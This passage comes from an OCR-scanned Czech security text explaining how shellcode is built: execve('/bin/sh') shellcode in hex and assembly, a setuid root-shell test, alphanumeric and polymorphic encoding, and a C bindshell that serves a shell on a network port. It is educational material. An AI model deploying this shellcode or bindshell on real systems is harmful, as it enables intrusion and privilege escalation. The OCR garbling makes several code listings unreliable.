hodnota znaku '/’ je Ox2f, znaku 'b’ 0x62 atd. Od adresy 0x80483e2 zaCingji nevyznamné byty, misto
nichz s vytvorime naSe pole s ukazateli.

Kompilace & Disassemblace
$ gec -o shellkod4 shellkod4.c
$ objdump -d shellkod4

* shellkod4.c */

int main() {
__asm__("
jmp trik
rutina:

popl %esi /* adresa fetezce /bin/sh */

nmovl %esi, Ox8(%si) /* ukazatel na fetézec */
xorl %ax, Yeax

nmovl %ax, Oxc(%esi) /* ukazatel NULL */ 10
novb %l , Ox7(%esi) /* zakontovaci 0 */

novb $0xb, %al /* execve */

novl %esi, %bx /* prvni paranmetr execve */

| eal Ox8(%si), %ecx /* druhy paranetr execve */
| eal Oxc(%si), %dx /* tfeti paranmetr execve */
int $0x80 /* sanot né vol ani execve */

xorl % bx, %bx /* navratova hodnota _exit */
xorl %ax, Yeax

inc Y%eax /* _exit */

int $0x80 /* sanotné vol ani _exit */ 20
trik:

call rutina

.string \"/bin/sh\”

")
}

Obrazek 6.11: Shellkod — assembler vkladany do jazyka C

Nyni je na Case nas shellkod vyzkouSet. Jeho spudténi nam vsak zplisobi neopravnény pristup do
paméti. Ve spustitelnem binarnim formatu je ¢ast, ktera obsahuje kod programu, umisténa v sekci
(sekce .text) s povolenim pouze pro Cteni. Povoleni pouze pro ¢teni se prenese nastranky paméti, které
po zavedeni programu do paméti obsahuji sekci .text. Dlsledkem je SIGSEGV.

Test spusténi shellkodu

$ ./shellkod4

Neopravnény pristup do paméti (SIGSEGV)
$




080483b4

80483b4:
80483b5:
80483b7:

080483b9

80483h9:
80483ba:
80483hd:

80483bf:

80483c2:
80483c5:
80483c7:
80483c9:
80483cc:

80483cf:

80483d1:
80483d3:
80483d5:
80483d6:

080483d8

80483d8:
80483dd:
80483de:
80483e1:
80483e2:
80483e4:
80483e6:
80483e7:
80483e8:
80483e9:

<main>:
55 push
89 €5 mov
eb 1f jmp

<rutina>:
5e pop
89 76 08 mov
31 c0 xor
89 46 Oc mov
88 46 07 mov
b0 Ob mov
89 f3 mov
8d 4e 08 lea
8d 56 Oc lea
cd 80 int
31 db xor
31 c0 xor
40 inc
cd 80 int

<trik>:
e8 dc ff ff ff cal
2f das
62 69 6e bound
2f das
73 68 jae
00 c9 add
c3 ret
90 nop
90 nop
90 nop

%ebp
%esp,%ebp
80483d8 <trik>

%esi
%esi,0x8(%esi)
%eax,%eax
%eax,0xc(%oesi)
%al,0x7(%es)
$0xb,%a
%esi,%ebx
0x8(%esi),%ecx
0xc(%esi),%edx
$0x80
%ebx,%ebx
%eax,%eax
%eax

$0x80

80483b9 <rutina>

%ebp,0x6e(%oecx)

804844c <_lO_stdin_used+0x10>
%cl,%cl

Obrazek 6.12: Disassemblace shellkod4.c
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Binarnimu spustitelnému formatu ELF, ktery se na Linuxu nejvice pouziva, je vénovana priloha
A. Nyni se pouze omezime na rychlé nalezeni sekce s povolenym zapisem. Prikazem readdf -
Ih shellkod4 ziskame vypis segmentli a mapovani sekci do segmentll ve forméatu ELF pro program

shellkod4.

Program Headers:
Type Offsat VirtAddr PhysAddr FileSiz | MemSiz | Flg | Align
PHDR 0x000034 | 0x08048034 | 0x08048034 | 0x000cO | Ox000cO | RE | Ox4
INTERP 0x0000f4 | 0x080480f4 | 0x080480f4 | 0x00013 | 0x00013 | R 0x1
LOAD 0x000000 | 0x08048000 | 0x08048000 | 0x00440 | 0x00440 | RE | 0x1000
LOAD 0x000440 | 0x08049440 | 0x08049440 | 0x00108 | 0x00120 | RW | 0x1000
DYNAMIC 0x000454 | 0x08049454 | 0x08049454 | 0x000c8 | 0x000c8 | RW | Ox4
NOTE 0x000108 | 0x08048108 | 0x08048108 | 0x00020 | 0x00020 | R Ox4
Section to Segment mapping:
00
01 | .interp
02 | .interp .note. ABI-tag .hash .dynsym .dynstr .gnu.version .gnu.version.r
.rel.dyn .rel.plt .init .plt .text .fini .rodata
03 | .data.eh_frame .dynamic .ctors .dtors .got .bss
04 | .dynamic
05 | .note. ABI-tag

Segmenty 03 a 04 maji pfiznaky RW. Sekce obsazené v téchto segmentech nemaji omezeni
pouze na Cteni. Zgjimavosti je, Ze formét ELF u kazdého segmentu specifikuje i pfiznak spustitelnost.
Stranky paméti vaak pro spustitelnost zadny priznak, aby jef mohly prevzit, nemaji. Segmentovana
pamét je nastavena (viz strana 13) tak, Ze cely virtualni adresni prostor procesu je spustitelny. Priznak
spustitelnosti tedy na platformé x86 v tomto kontextu ztraci vyznam.

V segmentu 03 se nachazeji mimo jiné sekce .data a .bss. Do sekce .data kompilator umistuje
globalni iniciované promenné (viz strana 41). NapiSeme tedy cely shellkod do sekce .data.

ProtoZe shellkod chceme umistit do datové oblasti, nemiizeme pouZit jeho zdrojovou verzi. Do
datové oblasti musime uvést jiz jeho zkompilovany tvar. Hexadecimani tvar jednotlivych instrukci
opiseme z obrazku 6.12, zatiname od instrukce jmp. Podle konvence jazyka C se pfed znakové
konstanty v Sestnackové soustavé umistuje prefix "\z'.

Zbyva nam vymyslet zplisob, jak zmeénit tok programu tak, aby se zatal provadét nas shellkod.
Kdyz s uvédomime, Ze funkce main(), je nadfazenym prostfedim volana Uplné stejné jako kazda
jinafunkce, mame vyhrano. Vime, Ze loka@ni proménné se nachazeji na zasobniku. Nad prvni lokani
proménnou bude uloZen obsah registru EBP. Je&té 0 4B vySe bude ul ozena navratova adresa pro navrat
do nadfazeného prostfedi. Adresu prvni lokalni proménné ziskame snadno. O 8B vy3e provedeme
prepsani navratové adresy tak, aby ukazovala na nas shellkod.

Shellkod vevhodném tvaru v datove oblasti je spolu se zplisobem predani Fizeni uveden naobrazku
6.13.
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* shellkod5.c */

char shellkod[] =
"\ xeb\ x1f\ x5e\ x89\ x76\ x08\ x31\ xcO0\ x89\ x46\ x0c\ x88\ x46”
"\ x07\ xb0\ x0b\ x89\ xf 3\ x8d\ x4e\ x08\ x8d\ x56\ x0c\ xcd\ x80\ x31\ xdb\ x31"
"\ xcO\ x40\ xcd\ x80\ xe8\ xdc\ xf f\ xff\ xff/bin/sh”;

int main() {
int *ret;
*((int *)&ret + 2) = (int) shellkod; 10
return O;

}

Obréazek 6.13: Test shellkodu

Kompilace & Spusténi
$ gec -o shellkod5 shellkod5.c
$su

$ chown root shellkod5
$ chmod +s shellkod5
$ exit

$ whoami

$ef

$./shellkods

sh-2.05b$

sh-2.05b$ whoami

root

sh-2.05b$ exit

Shellkéd funguje spravné. Jeho velikost je 45B a neobsahuje zadné nulové byty. Funkcemi pro
préci stetézci tedy projde bez probléeml. V pripadé nutnosti mensiho shellkodu je mozné vypustit €ast
svolanim exit().

6.4.2 Genericky shellkdd typu Netric

Popis této metody konstrukce shellkodu pochazi z Elanku Shellcodin Part 11 by bob from dtors.net2.
Autor zde uvadi, Ze napad pochazi od skupiny Netric?.

Adresu Fetézce "/bin/sh” Ziskame z registru ESP po vloZeni fetézce na zasobnik. Rétézec ma
pouze 7B. Zasobnik je ovsem zarovnan po Ctyfech bytech. Chybgici osmy byte by se pfi instrukci
push doplnil jako nulovy. Tim by se provedlo vhodné zakonCeni Fetézce. Shellkdd by ale v tomto
okamZiku zatal obsahovat nulovy byte. Musime zvolit jiny zplisob.

Shttp://www.dtors.net/papers/shellcodinl |.txt
“http://www.netric.org
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b [

n /

S

h

Ox2f

0x62 | 0x69

Ox6e | Ox2f

0x73

0x68

Zakonceni Fetézce nulou miizeme provést pomoci vynulovaného registru. Zarovnani délky fetézce
na 8B provedeme pfidanim dalSiho znaku '/, Vice lomitek ve jméné souboru se povazuje za jedno.

Uvodni &ast shellkddu miize vypadat napFiklad takto:

xorl %eax,%eax

pushl | %eax Null
pushl | $0x68732f2f || hy//
pushl | $0x6e69622f || nib/

Nyni registr ESP obsahuje adresu fetézce. Pfesuneme adresu do registru EBX, jak vyzaduje volani

execve(). Dae na zasobniku vytvorfime pole argv[].

movl | %oesp,%ebx
pushl | %eax Null
pushl | %ebx filename

Zbyvajiz pouze do registru ECX nastavit adresu pole argv[] a vynulovat registr EDX. Tim jsou
vSechny parametry volani execve() nastaveny. Do registru EAX uvedeme hodnotu volani execve()

a provedeme int $0x80.

movl | %esp,%ecx || argv(]
xorl %edx,%edx || Null
movb | $0xb,%al execve()
int $0x80

Null
hs//
nib/
Null
ebx

Oxbfff= ebx% “fbin/sh"
Oxbfff—= ecxh)

int execve(char *filename, char *argv[], char *envp[]);

Voo v

ebx ecx edx =— Null

Obrazek 6.14: Shellkod typu Netric

Vyhodou tohoto shellkodu je jeho mala velikost. Pouhych 25B. Umistén miize byt i do oblasti
urené pouze pro Cteni. Zapis do paméti se provadi pouze v oblasti zasobniku. Podle specifického
prenosu obsahu registru ESP do jinych registrll 1ze tento shellkod snadno filtrovat. Cely shellkod
i s hexadecimalni reprezentaci jednotlivych instrukci je uveden na obrazku 6.15.
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Disassembly of section .text:

08048074 <_start>:

8048074 31 c0 xor %eax,%eax
8048076: 50 push  %eax
8048077: 68 2f 2f 73 68 push  $0x68732f2f
804807c: 68 2f 62 69 6e push  $0x6e€69622f
8048081 89 e3 mov  %esp,%ebx
8048083: 50 push  %eax
8048084: 53 push  %ebx
8048085: 89 el mov  %esp,%ecx
8048087: 31 d2 Xor %edx,%edx
8048089: b0 Ob mov  $0xb,%al
804808b: cd 80 int $0x80

Obrazek 6.15: Disassemblace shellkodu Netric

6.4.3 Shellkody nezaviséna OS

Shellkod nezévidy na operatnim systému musi nejdfive detekovat, na jakém systému je spoustén.
Detekce je mozna napiiklad podle specifického obsahu registrl FS a GS. Linux maregistry FSaGS
nastaveny na nulu. FreeBSD nastavuje tyto registry na hodnotu 0x2f a OpenBSD na Ox1f. Oproti
shellkbdu nezavidém na platformé je tento shellkdd znaéné jednodussi. Neni potfeba obtizné hledat
sekvenci bytll, ktera se na rliznych platformach musi dekodovat jako skoky nebo neskodné instrukce
z hlediska dalSiho provadéni instrukci.

Jako priklad si uvedeme shellkdd ureny pro Linux aFreeBSD. Zakladem bude genericky shellkod
typu Aleph One. Jiz vime, Ze systémové volani na Linuxu a FreeBSD se li& ve zplisobu predani
parametrll. Linux oekava parametry v registrech, FreeBSD otekava paramety na zasobniku. Tento
rozdil snadno prekoname nastavenim argumenttl do registrli a ulozenim registrli na zasobnik.

Dale oba systémy maji rozdilnou hodnotu volani execve(). Tuto ¢ast jiz spoleCnym kodem ne-
vyfeSime aje potfeba udélat vétveni. Vétveni provedeme podle testu na obsah registru FS nebo GS.
V zorovy kod je uveden na obrazku 6.16 s mnoha komentéafi.

6.4.4 Shelkody nezavisé na architekture

s

Vyzva na napsani shellkodu, ktery pobé&Zi na dvou nebo vice rozdilnych typech procesorl, byla
prezentovana Caesarem na konferenci debcon8®.

Zakladem takovéeho shellkodu je magicka Uvodni sekvence, ktera zplisobi odskoky na nativni
shellkody pro rtizné architektury. Nativni shellkod potom miize byt pro jeden nebo vice operatnich
system.

Shttp://www.caezarschal lenge.org/cc4.html
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# osspansh.s

.data
.globl _start

_start: jmp trik

rutinaz  popl %es #adresa fetézce "/ bi n/ sh”
xorl %eax,%eax
pushl %eax # *envp[] —> NULL pro FreeBSD
movl %eax,0xc(%es) # *argv[] pro Linux
movl %esi,0x8(%es) # *filename pro Linux
movb %al,0x7(%esi) #zakoncni Fetezce nulou
leal (%esi),%ebx # *filename pro FreeBSD
leal 0x8(%esi),%ecx # *argv[] pro FreeBSD
movw %fs,%ax #test na OS
inch %al #abychom se vyhnuli
cmpb $1,%al #nulovému byte
jz linux

fbsd: movb $0x3b,%al #Cido volani
pushl %ecx # *argv[]
pushl %ebx # *filename
pushl %eax
int $0x80

linux:  xorl %edx,%edx # *envp[] —> NULL pro Linux
movb $0xb,%al #€ido voalni
int $0x80

trik: cal rutina

.string "/ bi n/ sh”

Obrézek 6.16: Ukéazka OS nezévislého shellkddu pro Linux a FreeBSD
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Pfimo na konferenci 1an Goldberg a Flex prezentovali feSeni pro PA-RISC a x86°.

Zakladni model vypada takto:

magicky Fetézec
archl shellkod
arch2 shellkod

Magicky Fetézec funguje tak, ze pro architekturu 2 ma vyznam skoku a pro architekturu 1 se
provede nevyznamna operace. Pri hledani vhodnych magickych fetézcli napiseme sekvenci byt pro
skok naarch2 shellkod. Pokud na architekture 1 sekvence odpovida instrukcim, které nam neposkodi
kriticka data v paméti, nékteré registry a neprovedou skok do nechténého mista, mame vyhrano.
Komplikujici faktor je rozdilna délka instrukci na rtiznych architekturach.

Podivejme se na feSeni autorll Goldverga a Flexe.

Sekvence byt PA-RISC x86

Oxeb 0x40 0xc0 0x02 | bv,nr0(r26) || jmp 0x40
0x08 0x01 0x06 0x01 | add r1,r0,r1
0x08 0x01 0x06 0x01 | add r1,rO,r1
HP-UX shellkod
x86 shellkod

Pro architekturu x86 seihned provede skok 0 64B dale. To znamena, ze shellkdd pro HP-UX nesmi
byt delsi. Pravd&podobné bude kratsi a zbylé byty do 64B musime libovolné vyplnit. Kdybychom
neuddali tuto vypln, naarchitektufe x86 nedojde ke skoku pfesné na pocatek shellkodu.

Na architektufe PA-RISC se provede podminény skok. Pfi spinéni podminky, které zaleZi na
prechozim obsahu registrll, se provede skok o 2 slova dale. Slovo ma na architektufe PA-RISC 32b.
O dvé dova déle zafina shellkdd pro HP-UX. Pokud ke skoku nedojde, provedeme 2x nevyznamnou
operaci stitani. Po operaci stitani nasleduje samatny shellkod.

Pro vice architektur potfebujeme vice magickych Fetézcll.

magicky Fetézec 1
magicky fetézec 2
archl shellkod
arch2 shellkod
arch3 shellkod

Magicky Fetézec 1 pro jednu architekturu provede skok na shellkdd a pro zbylé dvé musi mit
vyznam nevyznamnych instrukci. Magicky fetézec 2 nasledné provede odskok na dalSi shellkod.
Posledni architektura, ktera doted provadéa nevyznamné operace, zatne vykonavat archl shellkod.

Problematika shellkodu pro vice architektur je vice popsana v magazinu Phrack v €ide 57, viz

Shttp://www.caezarschal lenge.org/ccdb_flex_iang.html
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[3]. Shrnuti forméatu instrukci pro velké mnozstvi platforem Ize nalézt v praci UNIX Assembly
Codes Development for Vulnerabilities [ llustration Pur poses[8] polské skupiny The Last Stage of
Délirium. Ukazka shellkddu pro Ctyfi architektury je naobrazku 6.17.

I* Shellkdd pro 4 architektury
* publikovano v magazinu Phrack ¢islo 57
* autor: eugene@gravitino.net

*/
char shellkod[] =
"\ x37\ x37\ xeb\ x7b” /* x86: aaa; aaa; jmp 116+4 */
I* MIPS ori $s7,5t9,0xeb7b  */
[* Sparc: sethi %hi (OxdFADEC00), %i3 */
I* PPC/AIX: addic.  r25,r23,-5253 */ 10
"\ x30\ x80\ x01\ x14” /* MIPS andi $zero,$a0,0x114  */
[* Sparc: ba,a +1104 */
I* PPC/AIX: addic  r4,r0,276 */
"\ x1le\ xe0\ x01\ x01” /* MIPS bgtz $s7, +1032 */
I* PPC/AIX: mulli r23,r0,257 */

"\ x30\ x80\ x01\ x14” /* fill in the MIPS branch delay slot
with the above MIPS / AIX nop */ 20
* PPC */
I* x86  */
I* vypln */
* MIPS */
/* SPARC */

Obréazek 6.17: Ukazka viceplatformniho shellkadu

6.4.5 Alfanumericky shellkod

Programy &asto filtruji vstup od uZivatele pouze na &isty text. Utognik, ktery filtru predlozi alfanume-
ricky shellkod, uspge. Alfanumericky shellkod se miize skladat pouze z instrukci, jez jsou kodovany
pomoci hodnot, které spadaji do oblasti alfanumerickych znakli z ASCII tabulky. Kromé priichodu fil-
try |1ze snadno takovy shellkdd umistit jako jméno souboru, pfedmét emailu apodobné. V nasledujicim
textu budou uvedeny tabulky pro vSechny pfipustné instrukce a jegjich operandy.

Obecny instrukéni forméat vypada podle obrazku 6.18.

Zkratky v tabulkach dodrzuji styl dokumentace firmy Intel. Jgjich vyznam je nadedujici:

</r8> —8bregistr.
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Prefix instrukce | Velikost adresy | Velikost operandu| Zména segmentu
0 nebo 1B 0 nebo 1B 0 nebo 1B 0 nebo 1B
Opkéd | ModR/M | SIB Posun Pfimd hodnota

1 nebo 2B | 0 nebo 1B| 0 nebo 1B| 0,1,2 nebo 4B 0,1,2 nebo 4B

Obrazek 6.18: Obecny formét instrukce pro x86

</r32> —32bregistr.

<r/m8> —8b registr nebo 8b adresace paméti.

<rim32> —32b registr nebo 32b adresace paméti.

<Ir> —Zn&i nadslednost ModR/M bytu a pripadné SIB bytu za opkodem.

<imm8> — Pfima8-mi bitova hodnota.
<imm32> — Pfima 32 bitova hodnota.
<disp8> —8b posun.

<disp32> —32b posun.

<...> —Instrukce ma operandy, ale ted nejsou dllleZité.

ModR/M —Tento byte je rozdélen na 3 policka. Prvni policko mod v kombinaci s polickem r/mdava
32 rozdilnych hodnot pro rozliSeni osmi registrll a dvaceti ¢tyf adresnich modd. Policko reg
urCuje Cido registru nebo dopliuje opkod. Vyznam je dan predchazejicim opkbodem.

7 6 5 4 3 2 1 0

mod

reg

r/m

Obrazek 6.19: Struktura ModR/M bytu

SIB — Scale Index Base. Tento byte dovoluje adresovani ve tvaru base + 2%¢%€ x index. Jeho

pfitomnost je indikovana ModR/M bytem.

7 6 5 4 3 2

1 0

meéfitko

index

zéklad

Obréazek 6.20: Struktura SIB bytu

Podiveime se nyni na tabulky, které nam popisi povolené instrukce a jejich operandy — obrazky

6.21, 6.22, 6.23.
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Hexadecimalni hodnota | Znak [ Instrukce

[ Dilezitost

30 </r>
31 <>
32 <>
33<Ir>
34 < imm8>
35 <imm32>

61

62 <...>

63 <..>

64

65

66

67

68 <imm32>
69 <..>

6A <imm8>
6B <...>
6C <..>
6D <...>
6E <...>
6F <...>

70 <disp8>
71 <disp8>
72 <disp8>
73 <disp8>
74 <disp8>
75 <disp8>
76 <disp8>
77 <disp8>
78 < disp8>
79 <disp8>
7A <disp8>

0
'
'y
3
>
5
e
7
g
g
e
B
o
D
e

el

K

N

P

R

w

W

Y

a
by

o

s

Q

==

==

o33 =

~u ~0T

<<

£

N < X

xor <r/m8>,<r8>
xor <r/m32>,<r32>
xor <r8>,<r/mg8>
xor <r32>,<r/m32>
xor a,<imm8>

Xor eax,<imm32>
ss: (Segment Override Prefix)
aaa

cmp <r/m8>,<r8>
cmp <r/m32>,<r32>
inc ecx

inc edx

inc ebx

inc esp

inc ebp

inc esi

inc edi

dec eax

dec ecx

dec edx

dec ebx

dec esp

dec ebp

dec esi

dec edi

push eax

push ecx

push edx

push ebx

push esp

push ebp

push esi

push edi

pop eax

pop ecx

pop edx

popa

bound <...>

arpl <..>

fs: (Segment Override Prefix)
gs: (Segment Override Prefix)
016: (Operand Size Override)
al6: (Address Size Override)
push <imm32>

imul <...>

push <imm8>

imul <...>

insb <...>

insd <...>

outsb <...>

outsd <...>

jo <disp8>

jno < disp8>

jb <disp8>

jae <disp8>

je <disp8>

jne <disp8>

jbe <disp8>
ja<disp8>

js <disp8>

jns <disp8>

jp <disps8>

Obrazek 6.21: Alfanumerické opkody
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<r8>: a cl d bl ah ch dh bh

<r32>: eax ecx edx ebx esp ebp es edi

<r/m>

(mod=00)

[eax] 00 08 10 18 20 28 30'0 | 38'8

[ecx] 01 09 11 19 21 29 31’1 | 39’9

[edX] 02 0A 12 1A 22 2A 32’2 | 3A

[ebx] 03 0B 13 1B 23 2B 33'3 | 3B

[<SIB>] 04 oC 14 1C 24 2C 34’4 | 3C

[<disp32>] 05 0D 15 1D 25 2D 35’5 | 3D

[es] 06 OE 16 1E 26 2E 36’6 | 3E

[edi] o7 OF 17 1F 27 2F 37°7 | 3F

(mod=01)

[eax+< disp8>] 40 48'H' | 50'P | 58'X' | 60 68'h | 70'p | 78'X

[ecx+<disp8>] 41°A | 491 51'Q | 59'Y’ |61'a | 69V 1°'qg |79y

[edx+<disp8>] 42°'B | 4A°’J 52'R" |BA’'Z | 62'b | BA’}’ 72°r A7

[ebx+<digp8>] 43'C | 4B’K’ | 53'S 5B 63'c | 6B’k | 73'S 7B

[<SIB>+<digp8>] || 44’'D’ | 4C’L" | 54'T" | 5C 64'd |6C'l" |74t |7C

[ebp+<digp8>] 45°'E | 4D’'M’ | 55°'U | 5D 65'¢ |6D'm | 75'u | 7D

[esi+<disp8>] 46°'F | 4E'N’ | 56'V’ | BE 66'f" | BE'n’ 7%’V | TE

[edi+<disp8>] 47°G | 4F'O" | 57'W'’ | BF 67'g | 6F 'O 7'w | TF

Obrazek 6.22: Moznosti ModR/M bytu

<base>: eax ecx edx ebx esp ebp (if MOD I=0) | es edi
2<scale>y < index >
eax 00 01 02 03 04 05 06 07
ecx 08 09 0A 0B oC 0D OE OF
edx 10 11 12 13 14 15 16 17
ebx 18 19 1A 1B 1C 1D 1E 1F
0 20 21 22 23 24 25 26 27
ebp 28 29 2A 2B 2C 2D 2E 2F
es 300 | 31’1 |32'2 | 33'F |[3#4'4 |3FH'Y 36'6 |37'7
edi 38'8 |39'9 | 3A 3B 3C 3D 3E 3F
2* eax 40 41°A | 42'B’ |43'C | 4'D | 45'F 446°'F | 47°G
2* ecx 48°'H | 49°'I° 4A’F | 4B’K’ | 4C’'L’ | 4D'M’ 4E°'N' | 4F'O
2* edx 50'P | 51'Q" | 52'R’ | 53'S |54'T" |55'U 56°'V’ | 57'W’
2* ebx 58'X" | 59'Y’ | BA’'Z’ | 5B 5C 5D 5E 5F
0 60 61'a |62’ | 63'C |64'd | 65'€ 66'f" | 67'Qg
2*ebp 68'h | 69'I" |6A'j |6B’'k | 6C'I" | 6D'M 6E'n" | 6F’'0
2*es 0'p |71'q | 72'" 73's 74°t sy %'V | TT’'wW
2* edi 78'x |79’y | 7TA'Z | 7B 7C 7D TE TF

Obrazek 6.23: Moznosti SIB bytu
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Vidime, Ze neni mozné pouzit zadnou instrukci mov ani aritmetické operace. Jediné moznosti
skryvai instrukce pro praci se zasobnikem, instrukce xor a podminéné skoky. Na obrazku 6.24 je
ukéazka kréatkého alfanumerického kodu.

PokouSet se napsat shellkodd s takto omezenymi moznostmi je nepraktické, ne-li nemozné.

# Precteni 1B z paméti
# adresa v registru ES
# vystup do DH
#
#

Tvar po kompilaci: hEEEEXSEEEEPZ26

.globl _start
_Start:
push $0x45454545
pop %eax 10
xor $0x45454545,%eax #vynulovany registr eax
push %eax
pop %oedx #vynulovany registr edx
xor (%es),%dh #Cteni dat z adresy v regisru esi

Obrazek 6.24: Alfanumericky kod - preCetni bytu z paméti

ReZenim miize byt napFiklad transformace existujiciho shellkodu do alfanumericke oblasti. Necht

o XXXXXXXXX je hexadecimalni reprezentace plivodniho shellkodu

e YYYYYYYYYYYYYYYYY jehexadecimalni reprezentace alfanumerického shellkodu,

potom at spusténi kodu YYYYYYYYYYYYYYYYY ma za nasledek situaci na zasobniku podle
obréazku 6.25.

EBP
= Yo Y g
>Q =
g Y Y Y Y §
= LYY Y% Y ]
b =
= Z
S 5
32 B
2| [ % X X X g
X Xo X nop| ESP

Obrazek 6.25: Struktura zasobniku po spusténi afanumerického shellkadu

Vysedkem spudténi alfanumerického shellkodu je tedy vytvoreni plivodniho shellkodu na zasob-
niku. Dosahnout tohoto cile neni prilis obtizné. Z hexadecimalni reprezentace plivodniho shellkodu
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postupné odebirame od konce jednotlivé byty a provadime transformaci. Zakazdy byte vygenerujeme
sekvenci instrukci, které takovy byt vytvori na zasobniku. MUzeme zde rozliit nékolik skupin:

Byte s alfanumerickou reprezentaci — Takovy byte BB miizeme pfimo zapsat na zasobnik.

pushw $0xBB45
inc %esp odstranime byte 0x45

Nulovy byte — Predpokladame, Ze registr EAX obsahuje hodnotu Oxffffffff.

inc %eax eax nyni obsahuje 0

pushw %ax | vioZime hodnotu 0x0000
inc %esp odstranime byte 0x00

dec %oeax eax znovu obsahuje Oxffffffff

OxFF byte — Predpokladame, Ze registr AX obsahuje hodnotu Oxffffffff.

pushw %ax | vioZime hodnotu Oxffff
inc %esp odstranime byte Oxff

Ostatni byty — Nalezneme byty XX,YY pro které plati X XzorYY = BB. BB je byte, ktery

Zpracovavame.
pushw $0xX X 45
popw %ax registr ax nyni obsahuje 0xXX45
xor $0XY'Y 45, %ax | registr ax nyni obsahuje 0xBBOO
pushw %ax vioZime hodnotu 0xBB0O
inc %esp odstranime byte 0x00

V pfipadé, Ze bitova negace bytu BB spada do afanumerické oblasti, provedeme vioZeni této
negace NN. Na zasobniku nasledné provedeme druhou negaci pro ziskani bytu BB. Predpokla
dame, Ze registr AL obsahuje hodnotu Oxff.

pushw $0xNN45 | vioZime hodnotu OxNN45

inc %esp odstranime byte 0x45
pushl %esp vloZime adresu paméti, kde je ulozen nas byte OXNN
popl Yedx

xor %al,(%edx) | provedeme negaci bytu na dané adrese

Kompilator, ktery pouZiva tuto techniku a jiné dai, je mozné ngjit v clanku Writing 1A32
alphanumeric shellcodes [9].

6.4.6 Polymorfni shellkody

Mnoho firem chrani svousit filtraci paketlipodlesignatur” znamychvirl, cerviiashellkodl. Podobnym
filtrem miize byt oSetfen i vstup dat u aplikaci. Takovy filtr miize byt UCinny pouze tehdyl pokud
signatury " zlych” programii jsou vyjimetné alze je snadno rozligit od " hodnych” programtl. Utog¢nici

"posloupnost bitd, které identifikuji program
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tyto filtry obchazeji tim, Ze jgich programy koluji po své&té v mnoha binarnich formach. Funkénost
zUstava stejna. Mluvime o polymor fismu.

Polymorfismus znamena schopnost existovat ve vice forméach. Algoritmus Ize implementovat
mnoha rliznymi zplisoby — po kompilaci jsou binarni formy znatné rozdilné — po spusténi ziskame
stejny vysledek.

Postup je takovy, ze nejdfive vytvorime shellkod, ktery vykonava pozadovanou €innost. Zkom-
pilovanou hexadecimani podobu potom predioZime kompil&toru s polymorfnim jadrem. Ten bude
postupovat obdobné jako kompilator alfanumerickéno shellkodu. Rozdil nastane v tom, Ze sekvence
instrukci, které na zasobnik uloZi poZzadovany byte, se budou ménit.

Zakladem zmén jsou tyto jednoduché my3enky:

e Zmeéna poradi operaci
X +Y + Z mastgny vydedek jako
Z+X+Y

e VloZeni nepodstanych oper aci
X+4+a*x3—7Z-ax90/10/3+2xZ +Y mastejny vysedek jako
X+Y+2Z

e Stegného vysledku Ize dosdhnout rozdilymi operacemi
2* mastginy vysedek jako
20 -4

Kombinaci téchto z&kladnich pravidel ziska kompilator s polymorfnim jadrem Srokou Skalu
rtiznych vydedkl pri kompilovani stejného zdroje.

NejzdafilgjSi dilov této oblasti je kompilator ADM mutate[10]. Autorem je kanadsky programétor,
ktery s fikaK2.

6.4.7 Bindshell

Utognik, pokud nema konto na atakovaném stroji, miize provést viozeni shellkodu pomoci aktivniho
sitového spojeni. Napriklad pomoci chyby v FTP nebo WWW serveru. O metodach vkladani shellkodi
pojednava kapitola Buffer overflow na strané 65. Takto vliozeny a spustény shellkod by musdl byt
pomeérné rozsahly, aby uspokojil pozadavky Utotnika. Proto (tocnici pouzivaji klasicky maly shellkod
doplnény o pfesmérovani vstupu a vystupu na volny port pogitate. Utoénik potom provede pouze
sitové spojeni (napf. telnet) stimto portem a zadava prikazy vzdalene.
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Zakladni bindshell je popsan na obrazku 6.26. Je minimalizovan co do pottu proménnych a pro-
vedenych volani. Mnozstvi ’include’ souborll definuje konstaty, které Ize nahradit pfimo patfinymi
hodnotami.

/* bindshell.c
* minimalizovany bindshell
*/

#include <stdio.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <unistd.h> 10
#include <string.h>

int main(int argc, char **argv) {
char *namef2]; //jméno spousténého programu
int fd,fd2; //deskriptory pro socket
struct sockaddr_in serv;

bzero(&serv,16);

fd=socket(AF_INET,SOCK_STREAM,0); //otevieni socketu

serv.sin_addr.s_addr=0; /InaSi IP adresu nastavi jadro samo 20
serv.sin_port=0x2222; /Iport na ktery se pfipojime

serv.sin_family=AF_INET,;

bind(fd,(struct sockaddr *)&serv,16); //propojeni
listen(fd,1); //podouchdme na socketu

fd2=accept(fd, 0, 0); //pfijimame data

dup2(fd2,0); //nasmérujeme vSechny standardni deskriptory

dup2(fd2,1); 30
dup2(fd2,2);

name[0]="/ bi n/ sh”; //jméno spousténého programu

name[1]=NULL;

execve(name[0],name,NULL); //spusténi

Obréazek 6.26: Minimalizovany bindshell v jazyce C

PFi prepisovani do assembleru za pouZiti generického shellkbdu je potfeba pouzit dvojskoku
pomaci instrukce jmp. V jednom dlouhé&m skoku bychom se nevyhnuli nulovému bytu.
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zacatek:

rutina:

trikl:
dale:

trik2:

jmp trikl

popl %esi
#t80 bindshellu
jmp dale
jmp trik2

#t8lo bindshellu

cal rutina
"/ bi n/ sh”

Obréazek 6.27: Dvojskok prfi dlouhém bindshellu
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Kapitola 7

Buffer overflow - zapis mimo meze pole

7.1 Uvod

Jazyk C, stejné jako VétSina béznych imperativnich jazykl, dovoluje alokovat oblasti paméti pro
ulozeni dat a mezivysledkll. Zakladni rozd&eni je na statickou alokaci a dynamickou alokaci. P¥i
statické alokaci je poZzadovana velikost pamétového prostoru znama v dobé prekladu. Toto omezeni
nemusi platit u rozSifenych verzi jazyka C. Velikost staticky alokované oblasti nelzejiz déle upravovat.
Dynamicka alokace se vyznatuje predevSim moznosti zménit velikost alokované oblasti pfi béhu
programu. Oba druhy alokaci se liSi syntaxi z&pisu a umisténim poZadované alokované paméti ve
virtuanim adresnim prostoru procesu.

Dynamicka alokace — Pro dynamickou alokaci standardni knihovna jazyka C poskytuje 4 funkce.
Dynamicky alokovana mista se nachazeji v oblasti haldy. Volani jadra brk() zvétsi velikost
datového segmentu’ procesu. Zasekci BSStak vznikne volny prostor, ktery spravuiji funkce pro
dynamickou alokaci. Soucasti kazdé alokované oblasti je struktura, ktera umoziuje pozdgsi

uvolnéni oblasti a jeich ducovani podle dalsi potfeby. Strukturu vEetné alokované oblasti

oznatujeme jako Gsek paméti (odpovidajici anglicky termin je memory chunk). Vice na

obrazku 7.1.

void * | calloc(int members, int size);
void * | malloc(int size);

void free(void *ptr);

void * | realoc(void *ptr, int size);

